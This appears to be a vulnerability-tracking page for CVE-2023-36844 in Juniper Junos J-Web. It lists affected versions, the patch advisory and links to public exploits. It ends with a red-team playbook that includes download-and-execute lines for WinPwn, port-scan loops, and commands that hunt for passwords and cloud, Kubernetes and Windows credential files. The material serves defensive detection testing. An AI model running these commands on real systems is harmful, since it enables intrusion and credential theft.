CVE-2023-36844
Overview
This vulnerability is a PHP External Variable Modification flaw rooted in improper handling of environment variables within the J-Web management interface of Juniper Networks Junos OS on EX Series devices. The issue arises from insufficient validation of PHP environment variables, allowing an unauthenticated network attacker to manipulate critical environment settings. The affected component is the PHP environment variable processing in the J-Web interface, specifically in the web authentication operation handler.
Vulnerability Description
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environment variables. Using a crafted request an attacker is able to modify certain PHP environment variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities. This issue affects Juniper Networks Junos OS on EX Series: * All versions prior to 20.4R3-S9; * 21.1 versions 21.1R1 and later; * 21.2 versions prior to 21.2R3-S7; * 21.3 versions prior to 21.3R3-S5; * 21.4 versions prior to 21.4R3-S5; * 22.1 versions prior to 22.1R3-S4; * 22.2 versions prior to 22.2R3-S2; * 22.3 versions prior to 22.3R3-S1; * 22.4 versions prior to 22.4R2-S2, 22.4R3; * 23.2 versions prior to 23.2R1-S1, 23.2R2.
Impact
An unauthenticated attacker can exploit this vulnerability to gain partial control over PHP environment variables, which may be leveraged to execute arbitrary code on the affected device. No user interaction or credentials are required to exploit this flaw. Successful exploitation can lead to unauthorized command execution, compromising device integrity, enabling further attacks such as lateral movement or persistent access, and potentially disrupting network operations controlled by the Junos OS device.
Solution
Juniper Networks has released security updates addressing this vulnerability in Junos OS versions 20.4R3-S9, 21.2R3-S7, 21.3R3-S5, 21.4R3-S5, 22.1R3-S4, 22.2R3-S2, 22.3R3-S1, 22.4R2-S2, 22.4R3, 23.2R1-S1, and 23.2R2. Administrators should apply the appropriate patches as detailed in Juniper Security Advisory JSA72300 available at https://supportportal.juniper.net/JSA72300. No alternative workarounds are specified; updating to the fixed versions is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (94)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Juniper | Junos | All |
cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:-:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r1-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r2-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r2-s2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s3:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s4:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s5:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s6:*:*:*:*:*:*
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|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s7:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s8:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r1-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r2-s1:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Junos OS PHPRC Environment Variable Manipulation RCE
exploits/freebsd/http/junos_phprc_auto_prepend_file
|
Jacob Baines, Ron Bowes, jheysel-r7 +1 | Unknown | - | View |
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
watchtowrlabs/juniper-rce_cve-2023-36844
|
watchtowrlabs | 114 | 28 | 2023-08-25 | View |
|
r3dcl1ff/CVE-2023-36844_Juniper_RCE
A Proof of Concept for chaining the CVEs [CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847] to achieve Rem...
|
r3dcl1ff | 5 | 3 | 2023-09-24 | View |
|
Ap0dexMe0/CVE-2023-36844
Perform With Massive Juniper Remote Code Execution
|
Ap0dexMe0 | 0 | 0 | 2023-09-20 | View |
|
ThatNotEasy/CVE-2023-36844
Perform With Massive Juniper Remote Code Execution
|
ThatNotEasy | 0 | 0 | 2023-09-20 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-77 | Manipulating User-Controlled Variables |
30%
|
High | Very High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-36844 |
| supportportal.juniper.net |
GitHub CVE
vendor-advisory
mitigation
|
https://supportportal.juniper.net/JSA72300 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-36844 |